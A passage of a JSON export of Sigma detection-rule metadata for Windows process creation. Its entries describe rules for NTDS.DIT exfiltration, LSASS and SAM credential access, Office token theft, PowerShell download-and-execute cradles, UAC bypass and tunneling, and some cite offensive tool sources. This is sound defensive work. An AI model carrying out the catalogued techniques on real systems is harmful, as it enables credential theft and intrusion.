"uuid": "c09dad97-1c78-4f71-b127-7edb2b8e491a", - "value": "Execution of Suspicious File Type Extension", - "meta": { - "refs": [ - "https://pentestlaboratories.com/2021/12/08/process-ghosting/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2021/12/09", - "filename": "proc_creation_win_susp_non_exe_image.yml", - "author": "Max Altgelt", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection", - "uuid": "bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2", - "value": "Suspicious Ntdll Pipe Redirection", - "meta": { - "refs": [ - "https://www.x86matthew.com/view_post?id=ntdll_pipe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdll_type_redirect.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/03/05", - "filename": "proc_creation_win_susp_ntdll_type_redirect.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process patterns used in NTDS.DIT exfiltration", - "uuid": "8bc64091-6875-4881-aaf9-7bd25b5dda08", - "value": "Suspicious Process Patterns NTDS.DIT Exfil", - "meta": { - "refs": [ - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", - "https://pentestlab.blog/tag/ntds-dit/", - "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", - "https://github.com/zcgonvh/NTDSDumpEx", - "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", - "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ], - "creation_date": "2022/03/11", - "filename": "proc_creation_win_susp_ntds.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.", - "uuid": "a58353df-af43-4753-bad0-cd83ef35eef5", - "value": "Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdsutil_usage.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ], - "creation_date": "2022/09/14", - "filename": "proc_creation_win_susp_ntdsutil_usage.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage to restore snapshots", - "Legitimate admin activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service", - "uuid": "bb76d96b-821c-47cf-944b-7ce377864492", - "value": "Suspicious WebDav Client Execution", - "meta": { - "refs": [ - "https://twitter.com/med0x2e/status/1520402518685200384", - "https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntlmrelay.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access", - "attack.t1212" - ], - "creation_date": "2022/05/04", - "filename": "proc_creation_win_susp_ntlmrelay.yml", - "author": "Elastic (idea), Tobias Michalski", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", - "uuid": "c6c56ada-612b-42d1-9a29-adad3c5c2c1e", - "value": "Suspicious NT Resource Kit Auditpol Usage", - "meta": { - "refs": [ - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2021/12/18", - "filename": "proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml", - "author": "Nasreddine Bencherchali @nas_bench", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects defence evasion attempt via odbcconf.exe execution to load DLL", - "uuid": "65d2be45-8600-4042-b4c0-577a1ff8a60e", - "value": "Application Whitelisting Bypass via DLL Loaded by odbcconf.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", - "https://twitter.com/Hexacorn/status/1187143326673330176", - "https://redcanary.com/blog/raspberry-robin/", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_odbcconf.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.008" - ], - "creation_date": "2019/10/25", - "filename": "proc_creation_win_susp_odbcconf.yml", - "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate use of odbcconf.exe by legitimate user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible search for office tokens via CLI by looking for the string \"eyJ0eX\". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.", - "uuid": "6d3a3952-6530-44a3-8554-cf17c116c615", - "value": "Suspicious Office Token Search Via CLI", - "meta": { - "refs": [ - "https://mrd0x.com/stealing-tokens-from-office-applications/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_office_token_search.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1528" - ], - "creation_date": "2022/10/25", - "filename": "proc_creation_win_susp_office_token_search.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate command-lines containing the string mentioned in the command-line" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The OpenWith.exe executes other binary", - "uuid": "cec8e918-30f7-4e2d-9bfa-a59cc97ae60f", - "value": "OpenWith.exe Executes Specified Binary", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", - "https://twitter.com/harr0ey/status/991670870384021504", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_openwith.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2019/10/12", - "filename": "proc_creation_win_susp_openwith.yml", - "author": "Beyu Denis, oscd.community (rule), @harr0ey (idea)", - "level": "high", - "falsepositive": [ - "Legitimate use of OpenWith.exe by legitimate user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects EnableUnsafeClientMailRules used for Script Execution from Outlook", - "uuid": "e212d415-0e93-435f-9e1a-f29005bb4723", - "value": "Suspicious Execution from Outlook", - "meta": { - "refs": [ - "https://github.com/sensepost/ruler", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.t1202" - ], - "creation_date": "2018/12/27", - "filename": "proc_creation_win_susp_outlook.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious program execution in Outlook temp folder", - "uuid": "a018fdc3-46a3-44e5-9afb-2cd4af1d4b39", - "value": "Execution in Outlook Temp Folder", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook_temp.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ], - "creation_date": "2019/10/01", - "filename": "proc_creation_win_susp_outlook_temp.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious parent processes that should not have any children or should only have a single possible child program", - "uuid": "cbec226f-63d9-4eca-9f52-dfb6652f24df", - "value": "Suspicious Process Parents", - "meta": { - "refs": [ - "https://twitter.com/x86matthew/status/1505476263464607744?s=12", - "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml" - ], - "tags": "No established tags", - "creation_date": "2022/03/21", - "filename": "proc_creation_win_susp_parents.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be indicative of code injection.", - "uuid": "cbb9e3d1-2386-4e59-912e-62f1484f7a89", - "value": "Conhost Spawned By Suspicious Parent Process", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parent_of_conhost.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/09/28", - "filename": "proc_creation_win_susp_parent_of_conhost.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff", - "uuid": "fca949cc-79ca-446e-8064-01aa7e52ece5", - "value": "PCHunter Usage", - "meta": { - "refs": [ - "http://www.xuetr.com/", - "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", - "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pchunter.yml" - ], - "tags": "No established tags", - "creation_date": "2022/10/10", - "filename": "proc_creation_win_susp_pchunter.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.", - "uuid": "9386d78a-7207-4048-9c9f-a93a7c2d1c05", - "value": "Code Execution via Pcwutl.dll", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/", - "https://twitter.com/harr0ey/status/989617817849876488", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pcwutl.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2020/10/05", - "filename": "proc_creation_win_susp_pcwutl.yml", - "author": "Julia Fomina, oscd.community", - "level": "medium", - "falsepositive": [ - "Use of Program Compatibility Troubleshooter Helper" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", - "uuid": "59e938ff-0d6d-4dc3-b13f-36cc28734d4e", - "value": "Execute Code with Pester.bat", - "meta": { - "refs": [ - "https://twitter.com/Oddvarmoe/status/993383596244258816", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/08", - "filename": "proc_creation_win_susp_pester.yml", - "author": "Julia Fomina, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate use of Pester for writing tests for Powershell scripts and modules" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", - "uuid": "18988e1b-9087-4f8a-82fe-0414dce49878", - "value": "Execute Code with Pester.bat as Parent", - "meta": { - "refs": [ - "https://twitter.com/Oddvarmoe/status/993383596244258816", - "https://twitter.com/_st0pp3r_/status/1560072680887525378", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester_parent.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2022/08/20", - "filename": "proc_creation_win_susp_pester_parent.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of Pester for writing tests for Powershell scripts and modules" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a method often used by ransomware. Which combines the \"ping\" to wait a couple of seconds and then \"del\" to delete the file in question. Its used to hide the file responsible for the initial infection for example", - "uuid": "54786ddc-5b8a-11ed-9b6a-0242ac120002", - "value": "Suspicious Ping And Del Combination", - "meta": { - "refs": [ - "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_del.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2022/11/03", - "filename": "proc_creation_win_susp_ping_del.yml", - "author": "Ilya Krestinichev", - "level": "high", - "falsepositive": [ - "False positive could occur in admin scripts that execute inline" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a ping command that uses a hex encoded IP address", - "uuid": "1a0d4aba-7668-4365-9ce4-6d79ab088dfd", - "value": "Ping Hex IP", - "meta": { - "refs": [ - "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna", - "https://twitter.com/vysecurity/status/977198418354491392", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_hex_ip.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.t1027" - ], - "creation_date": "2018/03/23", - "filename": "proc_creation_win_susp_ping_hex_ip.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely, because no sane admin pings IP addresses in a hexadecimal form" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious Plink tunnel port forwarding to a local port", - "uuid": "48a61b29-389f-4032-b317-b30de6b95314", - "value": "Suspicious Plink Port Forwarding", - "meta": { - "refs": [ - "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/", - "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_port_forward.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572", - "attack.lateral_movement", - "attack.t1021.001" - ], - "creation_date": "2021/01/19", - "filename": "proc_creation_win_susp_plink_port_forward.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative activity using a remote port forwarding to a local port" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execution of plink to perform data exfiltration and tunneling", - "uuid": "f38ce0b9-5e97-4b47-a211-7dc8d8b871da", - "value": "Suspicious Plink Usage RDP Tunneling", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572" - ], - "creation_date": "2022/08/04", - "filename": "proc_creation_win_susp_plink_usage.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains", - "uuid": "b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c", - "value": "Suspicious PowerShell Encoded Command Patterns", - "meta": { - "refs": [ - "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_cmd_patterns.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/05/24", - "filename": "proc_creation_win_susp_powershell_cmd_patterns.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Other tools that work with encoded scripts in the command line instead of script files" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious ways to download files or content using PowerShell", - "uuid": "6e897651-f157-4d8f-aaeb-df8151488385", - "value": "PowerShell Web Download", - "meta": { - "refs": [ - "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_cradles.yml" - ], - "tags": "No established tags", - "creation_date": "2022/03/24", - "filename": "proc_creation_win_susp_powershell_download_cradles.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Scripts or tools that download files" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious ways to download files or content and execute them using PowerShell", - "uuid": "85b0b087-eddf-4a2b-b033-d771fa2b9775", - "value": "PowerShell Web Download and Execution", - "meta": { - "refs": [ - "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_iex.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/03/24", - "filename": "proc_creation_win_susp_powershell_download_iex.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Scripts or tools that download files and execute them" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious powershell command line parameters used in Empire", - "uuid": "79f4ede3-402e-41c8-bc3e-ebbf5f162581", - "value": "Empire PowerShell Launch Parameters", - "meta": { - "refs": [ - "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_launch.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/04/20", - "filename": "proc_creation_win_susp_powershell_empire_launch.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Other tools that incidentally use the same command line parameters" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects some Empire PowerShell UAC bypass methods", - "uuid": "3268b746-88d8-4cd3-bffc-30077d02c787", - "value": "Empire PowerShell UAC Bypass", - "meta": { - "refs": [ - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_uac_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "car.2019-04-001" - ], - "creation_date": "2019/08/30", - "filename": "proc_creation_win_susp_powershell_empire_uac_bypass.yml", - "author": "Ecco", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Commandline to launch powershell with a base64 payload", - "uuid": "fb843269-508c-4b76-8b8d-88679db22ce7", - "value": "Suspicious Execution of Powershell with Base64", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets", - "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", - "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encode.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/01/02", - "filename": "proc_creation_win_susp_powershell_encode.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious encoded character syntax often used for defense evasion", - "uuid": "e312efd0-35a1-407f-8439-b8d434b438a6", - "value": "PowerShell Encoded Character Syntax", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1281103918693482496", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encoded_param.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2020/07/09", - "filename": "proc_creation_win_susp_powershell_encoded_param.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)", - "uuid": "ca2092a1-c273-4878-9b4b-0d60115bf5ea", - "value": "Suspicious Encoded PowerShell Command Line", - "meta": { - "refs": [ - "https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_enc_cmd.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2018/09/03", - "filename": "proc_creation_win_susp_powershell_enc_cmd.yml", - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", - "uuid": "b2815d0d-7481-4bf0-9b6c-a4c48a94b349", - "value": "PowerShell Get-Process LSASS", - "meta": { - "refs": [ - "https://twitter.com/PythonResponder/status/1385064506049630211", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_getprocess_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.004" - ], - "creation_date": "2021/04/23", - "filename": "proc_creation_win_susp_powershell_getprocess_lsass.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines", - "uuid": "f26c6093-6f14-4b12-800f-0fcb46f5ffd0", - "value": "Malicious Base64 Encoded PowerShell Keywords in Command Lines", - "meta": { - "refs": [ - "http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_hidden_b64_cmd.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_powershell_hidden_b64_cmd.yml", - "author": "John Lambert (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious ways to run Invoke-Execution using IEX acronym", - "uuid": "09576804-7a05-458e-a817-eb718ca91f54", - "value": "Suspicious PowerShell IEX Execution Patterns", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml" - ], - "tags": "No established tags", - "creation_date": "2022/03/24", - "filename": "proc_creation_win_susp_powershell_iex_patterns.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate scripts that use IEX" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious powershell invocations from interpreters or unusual programs", - "uuid": "95eadcb2-92e4-4ed1-9031-92547773a6db", - "value": "Suspicious PowerShell Invocation Based on Parent Process", - "meta": { - "refs": [ - "https://www.carbonblack.com/2017/03/15/attackers-leverage-excel-powershell-dns-latest-non-malware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_combo.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_powershell_parent_combo.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Microsoft Operations Manager (MOM)", - "Other scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious parents of powershell.exe", - "uuid": "754ed792-634f-40ae-b3bc-e0448d33f695", - "value": "Suspicious PowerShell Parent Process", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_process.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/03/20", - "filename": "proc_creation_win_susp_powershell_parent_process.yml", - "author": "Teymur Kheirkhabarov, Harish Segar (rule)", - "level": "high", - "falsepositive": [ - "Other scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell scripts accessing SAM hives", - "uuid": "1af57a4b-460a-4738-9034-db68b880c665", - "value": "PowerShell SAM Copy", - "meta": { - "refs": [ - "https://twitter.com/splinter_code/status/1420546784250769408", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sam_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2021/07/29", - "filename": "proc_creation_win_susp_powershell_sam_access.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Some rare backup scenarios", - "PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious sub processes spawned by PowerShell", - "uuid": "e4b6d2a7-d8a4-4f19-acbd-943c16d90647", - "value": "Suspicious PowerShell Sub Processes", - "meta": { - "refs": [ - "https://twitter.com/ankit_anubhav/status/1518835408502620162", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sub_processes.yml" - ], - "tags": "No established tags", - "creation_date": "2022/04/26", - "filename": "proc_creation_win_susp_powershell_sub_processes.yml", - "author": "Florian Roth, Tim Shelton", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques", - "uuid": "c86133ad-4725-4bd0-8170-210788e0a7ba", - "value": "Net WebClient Casing Anomalies", - "meta": { - "refs": [ - "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", - 